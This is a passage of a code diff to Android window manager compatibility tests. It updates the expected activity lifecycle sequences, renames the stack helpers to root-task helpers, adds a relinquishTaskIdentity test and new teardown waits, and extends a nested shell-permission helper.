-                            ON_ACTIVITY_RESULT, ON_RESUME, ON_TOP_POSITION_GAINED)
-            );
+            expectedSequences = Arrays.asList(ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME,
+                    ON_PAUSE, ON_ACTIVITY_RESULT, ON_RESUME);
         } else {
-            expectedSequences = Arrays.asList(
-                    Arrays.asList(ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME,
-                            ON_TOP_POSITION_GAINED, ON_TOP_POSITION_LOST,
-                            ON_PAUSE, ON_STOP, ON_RESTART, ON_START, ON_ACTIVITY_RESULT, ON_RESUME,
-                            ON_TOP_POSITION_GAINED),
-                    Arrays.asList(ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME,
-                            ON_TOP_POSITION_GAINED, ON_TOP_POSITION_LOST,
-                            ON_PAUSE, ON_STOP, ON_ACTIVITY_RESULT, ON_RESTART, ON_START, ON_RESUME,
-                            ON_TOP_POSITION_GAINED)
-            );
+            expectedSequences = Arrays.asList(ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME,
+                    ON_PAUSE, ON_STOP, ON_RESTART, ON_START, ON_ACTIVITY_RESULT, ON_RESUME);
         }
-        waitForActivityTransitions(LaunchForResultActivity.class, expectedSequences.get(0));
+        waitForActivityTransitions(LaunchForResultActivity.class, expectedSequences);
 
-        LifecycleVerifier.assertSequenceMatchesOneOf(LaunchForResultActivity.class,
+        LifecycleVerifier.assertSequence(LaunchForResultActivity.class,
                 getLifecycleLog(), expectedSequences, "activityResult");
     }
 
@@ -757,7 +729,8 @@
     @Test
     public void testLocalRecreate() throws Exception {
         // Launch the activity that will recreate itself
-        final Activity recreatingActivity = launchActivityAndWait(SingleTopActivity.class);
+        final Activity recreatingActivity = new Launcher(SingleTopActivity.class)
+                .launch();
 
         // Launch second activity to cover and stop first
         final Activity secondActivity = new Launcher(SecondActivity.class)
@@ -773,19 +746,19 @@
         new Launcher(SingleTopActivity.class)
                 .setFlags(FLAG_ACTIVITY_NEW_TASK)
                 .setExtraFlags(EXTRA_RECREATE)
+                // There is no guarantee that the activity will be relaunched after on top resume
+                // state received. Skip recording the top resume state to simplify the verification.
+                .setSkipTopResumedStateCheck()
                 .launch();
 
         // Wait for activity to relaunch and resume
         final List<LifecycleLog.ActivityCallback> expectedRelaunchSequence;
         if (isTranslucent(secondActivity)) {
             expectedRelaunchSequence = Arrays.asList(ON_NEW_INTENT, ON_RESUME,
-                    ON_TOP_POSITION_GAINED, ON_TOP_POSITION_LOST,
-                    ON_PAUSE, ON_STOP, ON_DESTROY, ON_CREATE, ON_START,
-                    ON_POST_CREATE, ON_RESUME, ON_TOP_POSITION_GAINED);
+                    ON_PAUSE, ON_STOP, ON_DESTROY, ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME);
         } else {
             expectedRelaunchSequence = Arrays.asList(ON_RESTART, ON_START, ON_NEW_INTENT, ON_RESUME,
-                    ON_TOP_POSITION_GAINED, ON_TOP_POSITION_LOST, ON_PAUSE, ON_STOP, ON_DESTROY,
-                    ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME, ON_TOP_POSITION_GAINED);
+                    ON_PAUSE, ON_STOP, ON_DESTROY, ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME);
         }
 
         waitForActivityTransitions(SingleTopActivity.class, expectedRelaunchSequence);
@@ -876,7 +849,7 @@
 
     @Test
     public void testFinishInOnCreate() throws Exception {
-        verifyFinishAtStage( ResultActivity.class, EXTRA_FINISH_IN_ON_CREATE,
+        verifyFinishAtStage(ResultActivity.class, EXTRA_FINISH_IN_ON_CREATE,
                 Arrays.asList(ON_CREATE, ON_DESTROY), "onCreate");
     }
 
@@ -903,27 +876,38 @@
     @Test
     public void testFinishInOnResume() throws Exception {
         verifyFinishAtStage(ResultActivity.class, EXTRA_FINISH_IN_ON_RESUME,
-                Arrays.asList(ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME,
-                        ON_TOP_POSITION_GAINED, ON_TOP_POSITION_LOST, ON_PAUSE, ON_STOP,
+                true /* skipTopResumedState */,
+                Arrays.asList(ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME, ON_PAUSE, ON_STOP,
                         ON_DESTROY), "onResume");
     }
 
     @Test
     public void testFinishInOnResumeNoDisplay() throws Exception {
         verifyFinishAtStage(NoDisplayActivity.class, EXTRA_FINISH_IN_ON_RESUME,
-                Arrays.asList(ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME,
-                        ON_TOP_POSITION_GAINED, ON_TOP_POSITION_LOST, ON_PAUSE, ON_STOP,
+                true /* skipTopResumedState */,
+                Arrays.asList(ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME, ON_PAUSE, ON_STOP,
                         ON_DESTROY), "onResume");
     }
 
     private void verifyFinishAtStage(Class<? extends Activity> activityClass,
             String finishStageExtra, List<LifecycleLog.ActivityCallback> expectedSequence,
             String stageName) throws Exception {
-        new Launcher(activityClass)
+        verifyFinishAtStage(activityClass, finishStageExtra, false /* skipTopResumedState */,
+                expectedSequence, stageName);
+    }
+
+    private void verifyFinishAtStage(Class<? extends Activity> activityClass,
+            String finishStageExtra, boolean skipTopResumedState,
+            List<LifecycleLog.ActivityCallback> expectedSequence,
+            String stageName) throws Exception {
+        final Launcher launcher = new Launcher(activityClass)
                 .setExpectedState(ON_DESTROY)
                 .setExtraFlags(finishStageExtra)
-                .setNoInstance()
-                .launch();
+                .setNoInstance();
+        if (skipTopResumedState) {
+            launcher.setSkipTopResumedStateCheck();
+        }
+        launcher.launch();
 
         waitAndAssertActivityTransitions(activityClass, expectedSequence, "finish in " + stageName);
     }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java
index 48cff03..6795636 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java
@@ -16,6 +16,7 @@
 
 package android.server.wm.lifecycle;
 
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
 import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
 import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TOP;
 import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
@@ -47,15 +48,13 @@
 import android.app.ActivityOptions;
 import android.content.ComponentName;
 import android.content.Intent;
-import android.content.pm.PackageManager;
 import android.os.SystemClock;
 import android.platform.test.annotations.Presubmit;
 import android.server.wm.WindowManagerState;
-import android.server.wm.WindowManagerState.ActivityTask;
+import android.server.wm.WindowManagerState.Task;
 import android.server.wm.lifecycle.LifecycleLog.ActivityCallback;
 import android.util.Pair;
 
-import androidx.test.filters.FlakyTest;
 import androidx.test.filters.MediumTest;
 
 import org.junit.Before;
@@ -232,7 +231,8 @@
 
         getLifecycleLog().clear();
         final Activity launchForResultActivity = new Launcher(LaunchForResultActivity.class)
-                .customizeIntent(LaunchForResultActivity.forwardFlag(EXTRA_FINISH_IN_ON_RESUME))
+                .customizeIntent(LaunchForResultActivity.forwardFlag(EXTRA_FINISH_IN_ON_RESUME,
+                        EXTRA_SKIP_TOP_RESUMED_STATE))
                 // Start the TranslucentResultActivity to avoid activity below stopped sometimes
                 // and resulted in different lifecycle events.
                 .setExtraFlags(LaunchForResultActivity.EXTRA_USE_TRANSLUCENT_RESULT)
@@ -263,8 +263,6 @@
                 transition(TranslucentResultActivity.class, ON_START),
                 transition(TranslucentResultActivity.class, ON_POST_CREATE),
                 transition(TranslucentResultActivity.class, ON_RESUME),
-                transition(TranslucentResultActivity.class, ON_TOP_POSITION_GAINED),
-                transition(TranslucentResultActivity.class, ON_TOP_POSITION_LOST),
                 transition(TranslucentResultActivity.class, ON_PAUSE),
                 transition(LaunchForResultActivity.class, ON_ACTIVITY_RESULT),
                 transition(LaunchForResultActivity.class, ON_RESUME),
@@ -474,8 +472,8 @@
 
         // Tap on first activity to switch the focus
         getLifecycleLog().clear();
-        final ActivityTask dockedStack = getStackForTaskId(firstActivity.getTaskId());
-        tapOnStackCenter(dockedStack);
+        final Task dockedTask = getRootTaskForLeafTaskId(firstActivity.getTaskId());
+        tapOnTaskCenter(dockedTask);
 
         // Wait and assert focus switch
         waitAndAssertActivityStates(state(firstActivity, ON_TOP_POSITION_GAINED),
@@ -487,8 +485,8 @@
 
         // Tap on second activity to switch the focus again
         getLifecycleLog().clear();
-        final ActivityTask sideStack = getStackForTaskId(secondActivity.getTaskId());
-        tapOnStackCenter(sideStack);
+        final Task sideTask = getRootTaskForLeafTaskId(secondActivity.getTaskId());
+        tapOnTaskCenter(sideTask);
 
         // Wait and assert focus switch
         waitAndAssertActivityStates(state(firstActivity, ON_TOP_POSITION_LOST),
@@ -537,8 +535,8 @@
 
         // Tap on first activity to switch the top resumed one
         getLifecycleLog().clear();
-        final ActivityTask dockedStack = getStackForTaskId(firstActivity.getTaskId());
-        tapOnStackCenter(dockedStack);
+        final Task dockedTask = getRootTaskForLeafTaskId(firstActivity.getTaskId());
+        tapOnTaskCenter(dockedTask);
 
         // Wait and assert top resumed position switch
         waitAndAssertActivityStates(state(secondActivityClass, ON_TOP_POSITION_LOST),
@@ -546,14 +544,12 @@
         LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
                 transition(secondActivityClass, ON_TOP_POSITION_LOST),
                 transition(firstActivityClass, ON_TOP_POSITION_GAINED)),
-                "tapOnStack");
+                "tapOnTask");
 
         // Tap on second activity to switch the top resumed activity again
         getLifecycleLog().clear();
-        final ActivityTask sideTask = mWmState
-                .getTaskByActivity(secondActivityComponent);
-        final ActivityTask sideStack = getStackForTaskId(sideTask.getTaskId());
-        tapOnStackCenter(sideStack);
+        final Task sideTask = mWmState.getTaskByActivity(secondActivityComponent);
+        tapOnTaskCenter(sideTask);
 
         // Wait and assert top resumed position switch
         waitAndAssertActivityStates(state(secondActivityClass, ON_TOP_POSITION_GAINED),
@@ -561,7 +557,7 @@
         LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
                 transition(firstActivityClass, ON_TOP_POSITION_LOST),
                 transition(secondActivityClass, ON_TOP_POSITION_GAINED)),
-                "tapOnStack");
+                "tapOnTask");
     }
 
     @Test
@@ -602,8 +598,8 @@
 
         // Tap on first activity to switch the top resumed one
         getLifecycleLog().clear();
-        final ActivityTask dockedStack = getStackForTaskId(slowActivity.getTaskId());
-        tapOnStackCenter(dockedStack);
+        final Task dockedTask = getRootTaskForLeafTaskId(slowActivity.getTaskId());
+        tapOnTaskCenter(dockedTask);
 
         // Wait and assert top resumed position switch.
         waitAndAssertActivityStates(state(secondActivityClass, ON_TOP_POSITION_LOST),
@@ -611,14 +607,13 @@
         LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
                 transition(secondActivityClass, ON_TOP_POSITION_LOST),
                 transition(slowActivityClass, ON_TOP_POSITION_GAINED)),
-                "tapOnStack");
+                "tapOnTask");
 
         // Tap on second activity to switch the top resumed activity again
         getLifecycleLog().clear();
-        final ActivityTask sideTask = mWmState
+        final Task sideTask = mWmState
                 .getTaskByActivity(secondActivityComponent);
-        final ActivityTask sideStack = getStackForTaskId(sideTask.getTaskId());
-        tapOnStackCenter(sideStack);
+        tapOnTaskCenter(sideTask);
 
         // Wait and assert top resumed position switch. Because of timeout the new top position will
         // be reported to the first activity before second will finish handling it.
@@ -627,7 +622,7 @@
         LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
                 transition(secondActivityClass, ON_TOP_POSITION_GAINED),
                 transition(slowActivityClass, ON_TOP_POSITION_LOST)),
-                "tapOnStack");
+                "tapOnTask");
 
         // Wait 5 seconds more to make sure that no new messages received after top resumed state
         // released by the slow activity
@@ -719,8 +714,11 @@
         try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
             lockScreenSession.setLockCredential().gotoKeyguard();
 
-            showWhenLockedActivity =
-                    launchActivityAndWait(ShowWhenLockedCallbackTrackingActivity.class);
+            ActivityOptions options = ActivityOptions.makeBasic();
+            options.setLaunchWindowingMode(WINDOWING_MODE_FULLSCREEN);
+            showWhenLockedActivity = new Launcher(ShowWhenLockedCallbackTrackingActivity.class)
+                                .setOptions(options)
+                                .launch();
 
             // TODO(b/123432490): Fix extra pause/resume
             LifecycleVerifier.assertSequence(ShowWhenLockedCallbackTrackingActivity.class,
@@ -824,8 +822,10 @@
 
         getLifecycleLog().clear();
 
-        // Tap on default display to switch the top activity
-        tapOnDisplayCenter(DEFAULT_DISPLAY);
+        // Tap on task center to switch the top activity.
+        final Task callbackTrackingTask = mWmState
+                .getTaskByActivity(getComponentName(CallbackTrackingActivity.class));
+        tapOnTaskCenter(callbackTrackingTask);
 
         // Wait and assert focus switch
         waitAndAssertActivityTransitions(SingleTopActivity.class,
@@ -839,8 +839,11 @@
 
         getLifecycleLog().clear();
 
-        // Tap on new display to switch the top activity
-        tapOnDisplayCenter(newDisplay.mId);
+        // Tap on task center to switch the top activity.
+        final Task singleTopActivityTask = mWmState
+                .getTaskByActivity(getComponentName(SingleTopActivity.class));
+        tapOnTaskCenter(singleTopActivityTask);
+
 
         // Wait and assert focus switch
         waitAndAssertActivityTransitions(CallbackTrackingActivity.class,
@@ -897,9 +900,11 @@
                 transition(defaultActivityClass, ON_TOP_POSITION_GAINED)),
                 "launchOnDifferentDisplay");
 
-        // Tap on secondary display to switch the top activity.
+        // Tap on task center to switch the top activity.
         getLifecycleLog().clear();
-        tapOnDisplayCenter(newDisplay.mId);
+        final Task secondActivityTask = mWmState
+                .getTaskByActivity(getComponentName(SecondProcessCallbackTrackingActivity.class));
+        tapOnTaskCenter(secondActivityTask);
 
         // Wait and assert top resumed position switch.
         waitAndAssertActivityStates(state(secondActivityClass, ON_TOP_POSITION_GAINED),
@@ -909,9 +914,11 @@
                 transition(secondActivityClass, ON_TOP_POSITION_GAINED)),
                 "tapOnDifferentDisplay");
 
-        // Tap on default display to switch the top activity again.
         getLifecycleLog().clear();
-        tapOnDisplayCenter(DEFAULT_DISPLAY);
+        // Tap on task center to switch the top activity.
+        final Task defaultActivityTask = mWmState
+                .getTaskByActivity(getComponentName(defaultActivityClass));
+        tapOnTaskCenter(defaultActivityTask);
 
         // Wait and assert top resumed position switch.
         waitAndAssertActivityStates(state(secondActivityClass, ON_TOP_POSITION_LOST),
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java
index 71e821a..7571a56 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java
@@ -86,6 +86,9 @@
             = getComponentName(FinishOnTaskLaunchActivity.class);
     private static final ComponentName DOCUMENT_INTO_EXISTING_ACTIVITY
             = getComponentName(DocumentIntoExistingActivity.class);
+    private static final ComponentName RELINQUISHTASKIDENTITY_ACTIVITY
+            = getComponentName(RelinquishTaskIdentityActivity.class);
+
 
     /**
      * Ensures that the following launch flag combination works when starting an activity which is
@@ -715,6 +718,48 @@
                 mWmState.getActivityCountInTask(taskId2, null));
     }
 
+    /**
+     * This test case tests behavior of activity with relinquishTaskIdentify attribute. Ensure the
+     * relinquishTaskIdentity work if the activities are in the same app.
+     */
+    @Test
+    public void testActivityWithRelinquishTaskIdentity() {
+        // Launch a relinquishTaskIdentity activity and test activity with different affinity into
+        // a same task.
+        getLaunchActivityBuilder().setTargetActivity(RELINQUISHTASKIDENTITY_ACTIVITY)
+                .setIntentExtra(extra -> extra.putBoolean(
+                        RelinquishTaskIdentityActivity.EXTRA_LAUNCHED, true))
+                .setUseInstrumentation()
+                .setWaitForLaunched(true)
+                .execute();
+        // get the task affinity(e.g. 10825:android.server.wm.cts) without the uid information
+        String affinity = mWmState.getTaskByActivity(RELINQUISHTASKIDENTITY_ACTIVITY).getAffinity();
+        affinity = affinity.substring(affinity.indexOf(":") + 1);
+
+        final int taskId = mWmState.getTaskByActivity(RELINQUISHTASKIDENTITY_ACTIVITY).getTaskId();
+        final int taskId2 = mWmState.getTaskByActivity(TEST_LAUNCHING_ACTIVITY).getTaskId();
+
+        // verify the activities are in the same task
+        assertEquals("Activity must be in the same task.", taskId, taskId2);
+        // verify the relinquishTaskIdentify function should work since the activities are in the
+        // same app
+        assertNotEquals("Affinity should not be same with the package name.",
+                RELINQUISHTASKIDENTITY_ACTIVITY.getPackageName(), affinity);
+    }
+
+    // Test activity
+    public static class RelinquishTaskIdentityActivity extends Activity {
+        public static final String EXTRA_LAUNCHED = "extraLaunched";
+        @Override
+        protected void onCreate(Bundle icicle) {
+            super.onCreate(icicle);
+            if (getIntent().getBooleanExtra(EXTRA_LAUNCHED, false)) {
+                startActivityForResult(
+                        new Intent(this, TestLaunchingActivity.class), 1 /* requestCode */);
+            }
+        }
+    }
+
     // Test activity
     public static class StandardActivity extends Activity {
     }
diff --git a/tests/framework/base/windowmanager/testsdk25/src/android/server/wm/AspectRatioSdk25Tests.java b/tests/framework/base/windowmanager/testsdk25/src/android/server/wm/AspectRatioSdk25Tests.java
index d620c71..a545df3 100644
--- a/tests/framework/base/windowmanager/testsdk25/src/android/server/wm/AspectRatioSdk25Tests.java
+++ b/tests/framework/base/windowmanager/testsdk25/src/android/server/wm/AspectRatioSdk25Tests.java
@@ -47,7 +47,8 @@
 
     @Test
     public void testMaxAspectRatioPreOActivity() {
-        runAspectRatioTest(mSdk25MaxAspectRatioActivity, (actual, displayId, size) -> {
+        runAspectRatioTest(mSdk25MaxAspectRatioActivity,
+                (actual, displayId, activitySize, displaySize) -> {
             assertThat(actual, lessThanOrEqualToInexact(MAX_PRE_O_ASPECT_RATIO));
         });
     }
diff --git a/tests/framework/base/windowmanager/testsdk28/src/android/server/wm/AspectRatioSdk28Tests.java b/tests/framework/base/windowmanager/testsdk28/src/android/server/wm/AspectRatioSdk28Tests.java
index 30a94df..1b5aa82 100644
--- a/tests/framework/base/windowmanager/testsdk28/src/android/server/wm/AspectRatioSdk28Tests.java
+++ b/tests/framework/base/windowmanager/testsdk28/src/android/server/wm/AspectRatioSdk28Tests.java
@@ -61,7 +61,8 @@
         assumeTrue(getInstrumentation().getContext().getPackageManager()
                 .hasSystemFeature(FEATURE_WATCH));
 
-        runAspectRatioTest(mSdk28MinAspectRatioActivity, (actual, displayId, size) ->
+        runAspectRatioTest(mSdk28MinAspectRatioActivity,
+                (actual, displayId, activitySize, displaySize) ->
                 assertEquals(actual, MIN_WATCH_DEVICE_ASPECT_RATIO, 0.0f));
     }
 }
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
index 57729bc..9fc6860 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
@@ -104,6 +104,7 @@
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
@@ -147,6 +148,7 @@
 import android.server.wm.CommandSession.LaunchProxy;
 import android.server.wm.CommandSession.SizeInfo;
 import android.server.wm.TestJournalProvider.TestJournalContainer;
+import android.server.wm.WindowManagerState.Task;
 import android.server.wm.WindowManagerState.WindowState;
 import android.server.wm.settings.SettingsSession;
 import android.util.DisplayMetrics;
@@ -228,6 +230,9 @@
     private static final int UI_MODE_TYPE_MASK = 0x0f;
     private static final int UI_MODE_TYPE_VR_HEADSET = 0x07;
 
+    static final boolean ENABLE_SHELL_TRANSITIONS =
+            SystemProperties.getBoolean("persist.debug.shell_transit", false);
+
     private static Boolean sHasHomeScreen = null;
     private static Boolean sSupportsSystemDecorsOnSecondaryDisplays = null;
     private static Boolean sSupportsInsecureLockScreen = null;
@@ -256,6 +261,15 @@
             .around(new WrapperRule(null /* before */, this::tearDownBase));
 
     /**
+     * Whether to wait for the rotation to be stable state after testing. It can be set if the
+     * display rotation may be changed by test.
+     */
+    protected boolean mWaitForRotationOnTearDown;
+
+    /** Indicate to wait for all non-home activities to be destroyed when test finished. */
+    protected boolean mShouldWaitForAllNonHomeActivitiesToDestroyed = false;
+
+    /**
      * @return the am command to start the given activity with the following extra key/value pairs.
      * {@param extras} a list of {@link CliIntentExtra} representing a generic intent extra
      */
@@ -424,7 +438,7 @@
          * @param activityClass The {@link Activity} class to be launched
          * @param displayId ID of the target display
          */
-        void launchTestActivityOnDisplaySync(Class<T> activityClass, int displayId) {
+        public void launchTestActivityOnDisplaySync(Class<T> activityClass, int displayId) {
             launchTestActivityOnDisplaySync(activityClass, displayId, WINDOWING_MODE_UNDEFINED);
         }
 
@@ -557,7 +571,7 @@
             }
         }
 
-        T getActivity() {
+        public T getActivity() {
             return mTestActivity;
         }
 
@@ -581,7 +595,7 @@
 
         runWithShellPermission(() -> {
             // TaskOrganizer ctor requires MANAGE_ACTIVITY_TASKS permission
-            mTaskOrganizer = new TestTaskOrganizer(mContext);
+            mTaskOrganizer = new TestTaskOrganizer();
             // Clear launch params for all test packages to make sure each test is run in a clean
             // state.
             mAtm.clearLaunchParamsForPackages(TEST_PACKAGES);
@@ -599,11 +613,24 @@
         // activities but home are cleaned up from the root task at the end of each test. Am force
         // stop shell commands might be asynchronous and could interrupt the task cleanup
         // process if executed first.
+        launchHomeActivityNoWait();
         removeRootTasksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
         stopTestPackage(TEST_PACKAGE);
         stopTestPackage(SECOND_TEST_PACKAGE);
         stopTestPackage(THIRD_TEST_PACKAGE);
-        launchHomeActivityNoWait();
+        if (mShouldWaitForAllNonHomeActivitiesToDestroyed) {
+            mWmState.waitForAllNonHomeActivitiesToDestroyed();
+        }
+
+        if (mWaitForRotationOnTearDown) {
+            mWmState.waitForDisplayUnfrozen();
+        }
+
+        if (ENABLE_SHELL_TRANSITIONS) {
+            if (!mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY)) {
+                fail("Shell Transition left unfinished!");
+            }
+        }
     }
 
     /**
@@ -687,8 +714,8 @@
         mTouchHelper.tapOnViewCenter(view);
     }
 
-    protected void tapOnStackCenter(WindowManagerState.ActivityTask stack) {
-        mTouchHelper.tapOnStackCenter(stack);
+    protected void tapOnTaskCenter(Task task) {
+        mTouchHelper.tapOnTaskCenter(task);
     }
 
     protected void tapOnDisplayCenter(int displayId) {
@@ -765,22 +792,22 @@
                 .setOnFailure(unusedResult -> fail("FAILED because unsatisfied: " + message)));
     }
 
-    /** Returns the stack that contains the provided task. */
-    protected WindowManagerState.ActivityTask getStackForTaskId(int taskId) {
+    /** Returns the root task that contains the provided leaf task id. */
+    protected Task getRootTaskForLeafTaskId(int taskId) {
         mWmState.computeState();
-        final List<WindowManagerState.ActivityTask> stacks = mWmState.getRootTasks();
-        for (WindowManagerState.ActivityTask stack : stacks) {
-            if (stack.getTask(taskId) != null) {
-                return stack;
+        final List<Task> rootTasks = mWmState.getRootTasks();
+        for (Task rootTask : rootTasks) {
+            if (rootTask.getTask(taskId) != null) {
+                return rootTask;
             }
         }
         return null;
     }
 
-    protected WindowManagerState.ActivityTask getRootTask(int taskId) {
+    protected Task getRootTask(int taskId) {
         mWmState.computeState();
-        final List<WindowManagerState.ActivityTask> rootTasks = mWmState.getRootTasks();
-        for (WindowManagerState.ActivityTask rootTask : rootTasks) {
+        final List<Task> rootTasks = mWmState.getRootTasks();
+        for (Task rootTask : rootTasks) {
             if (rootTask.getTaskId() == taskId) {
                 return rootTask;
             }
@@ -934,7 +961,7 @@
      */
     protected void moveActivityToRootTaskOrOnTop(ComponentName activityName, int rootTaskId) {
         mWmState.computeState(activityName);
-        WindowManagerState.ActivityTask rootTask = getRootTask(rootTaskId);
+        Task rootTask = getRootTask(rootTaskId);
         if (rootTask.getActivities().size() != 0) {
             // If the root task is a 1-level task, start the activity on top of given task.
             getLaunchActivityBuilder()
@@ -950,7 +977,7 @@
             runWithShellPermission(() -> mAtm.moveTaskToRootTask(taskId, rootTaskId, true));
         }
         mWmState.waitForValidState(new WaitForValidActivityState.Builder(activityName)
-                .setStackId(rootTaskId)
+                .setRootTaskId(rootTaskId)
                 .build());
     }
 
@@ -1047,14 +1074,14 @@
         mWmState.assertFocusedActivity(message, activityName);
 
         final int frontRootTaskId = mWmState.getFrontRootTaskId(displayId);
-        WindowManagerState.ActivityTask frontRootTaskOnDisplay =
-                mWmState.getRootTask(frontRootTaskId);
+        Task frontRootTaskOnDisplay = mWmState.getRootTask(frontRootTaskId);
         assertEquals(
                 "Resumed activity of front root task of the target display must match. " + message,
                 activityClassName,
                 frontRootTaskOnDisplay.isLeafTask() ? frontRootTaskOnDisplay.mResumedActivity
                         : frontRootTaskOnDisplay.getTopTask().mResumedActivity);
-        mWmState.assertFocusedStack("Top activity's rootTask must also be on top", frontRootTaskId);
+        mWmState.assertFocusedRootTask("Top activity's rootTask must also be on top",
+                frontRootTaskId);
     }
 
     /**
@@ -1281,7 +1308,7 @@
      */
     protected static class DisableScreenDozeRule implements TestRule {
 
-        /** Copied from android.provider.Settings.Secure since these keys are hiden. */
+        /** Copied from android.provider.Settings.Secure since these keys are hidden. */
         private static final String[] DOZE_SETTINGS = {
                 "doze_enabled",
                 "doze_always_on",
@@ -1290,7 +1317,8 @@
                 "doze_pulse_on_double_tap",
                 "doze_wake_screen_gesture",
                 "doze_wake_display_gesture",
-                "doze_tap_gesture"
+                "doze_tap_gesture",
+                "doze_quick_pickup_gesture"
         };
 
         private String get(String key) {
@@ -1487,6 +1515,7 @@
             // LockScreenSession#close is always called before stopping all test activities,
             // which could cause the keyguard to stay occluded after wakeup.
             // If Keyguard is occluded, pressing the back key can hide the ShowWhenLocked activity.
+            wakeUpDevice();
             pressBackButton();
 
             // If the credential wasn't set, the steps for restoring can be simpler.
@@ -1685,6 +1714,7 @@
             super.close();
             // Restore accelerometer_rotation preference.
             mAccelerometerRotation.close();
+            mWaitForRotationOnTearDown = true;
         }
 
         private class SettingsObserver extends ContentObserver {
@@ -2469,7 +2499,8 @@
                 String amStartCmd =
                         (mWindowingMode == -1 || mNewTask)
                                 ? getAmStartCmd(mLaunchingActivity)
-                                : getAmStartCmd(mLaunchingActivity, mWindowingMode);
+                                : getAmStartCmd(mLaunchingActivity, mDisplayId)
+                                        + " --windowingMode " + mWindowingMode;
                 // Use launching activity to launch the target.
                 commandBuilder.append(amStartCmd)
                         .append(" -f 0x20000020");
@@ -2627,4 +2658,35 @@
     /** Activity that can handle all config changes. */
     public static class ConfigChangeHandlingActivity extends CommandSession.BasicTestActivity {
     }
+
+    public static class IgnoreOrientationRequestSession implements AutoCloseable {
+        private static final String WM_SET_IGNORE_ORIENTATION_REQUEST =
+                "wm set-ignore-orientation-request ";
+        private static final String WM_GET_IGNORE_ORIENTATION_REQUEST =
+                "wm get-ignore-orientation-request";
+        private static final Pattern IGNORE_ORIENTATION_REQUEST_PATTERN =
+                Pattern.compile("ignoreOrientationRequest (true|false) for displayId=\\d+");
+
+        final int mDisplayId;
+        final boolean mInitialIgnoreOrientationRequest;
+
+        IgnoreOrientationRequestSession(int displayId, boolean enable) {
+            mDisplayId = displayId;
+            Matcher matcher = IGNORE_ORIENTATION_REQUEST_PATTERN.matcher(
+                    executeShellCommand(WM_GET_IGNORE_ORIENTATION_REQUEST + " -d " + mDisplayId));
+            assertTrue("get-ignore-orientation-request should match pattern",
+                    matcher.find());
+            mInitialIgnoreOrientationRequest = Boolean.parseBoolean(matcher.group(1));
+
+            executeShellCommand("wm set-ignore-orientation-request " + (enable ? "true" : "false")
+                    + " -d " + mDisplayId);
+        }
+
+        @Override
+        public void close() {
+            executeShellCommand(
+                    WM_SET_IGNORE_ORIENTATION_REQUEST + mInitialIgnoreOrientationRequest + " -d "
+                            + mDisplayId);
+        }
+    }
 }
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/NestedShellPermission.java b/tests/framework/base/windowmanager/util/src/android/server/wm/NestedShellPermission.java
index 860099d..234c71f 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/NestedShellPermission.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/NestedShellPermission.java
@@ -18,8 +18,11 @@
 
 import android.app.UiAutomation;
 
+import androidx.annotation.Nullable;
 import androidx.test.InstrumentationRegistry;
 
+import com.android.compatibility.common.util.SystemUtil;
+
 /**
  * Helper to run code that might end up with nested permission requirements (eg. TaskOrganizer).
  */
@@ -38,16 +41,21 @@
     }
 
     /**
-     * Similar to SystemUtil.runWithShellPermissionIdentity except it supports nesting. Use this
-     * with anything that interacts with TestTaskOrganizer since async operations are common.
+     * Similar to {@link SystemUtil#runWithShellPermissionIdentity} except it supports nesting. Use
+     * this with anything that interacts with TestTaskOrganizer since async operations are common.
      */
     public static void run(Runnable action) {
+        run(action, null /* permissions */);
+    }
+
+    /** Similar to {@link #run(Runnable)}, but allow to specify {@code permissions} to hold. */
+    public static void run(Runnable action, @Nullable String... permissions) {
         final NestedShellPermission self = getInstance();
         final UiAutomation automan =
                 InstrumentationRegistry.getInstrumentation().getUiAutomation();
         synchronized (self) {
             if (0 == self.mPermissionDepth++) {
-                automan.adoptShellPermissionIdentity();
+                automan.adoptShellPermissionIdentity(permissions);
             }
         }
         try {
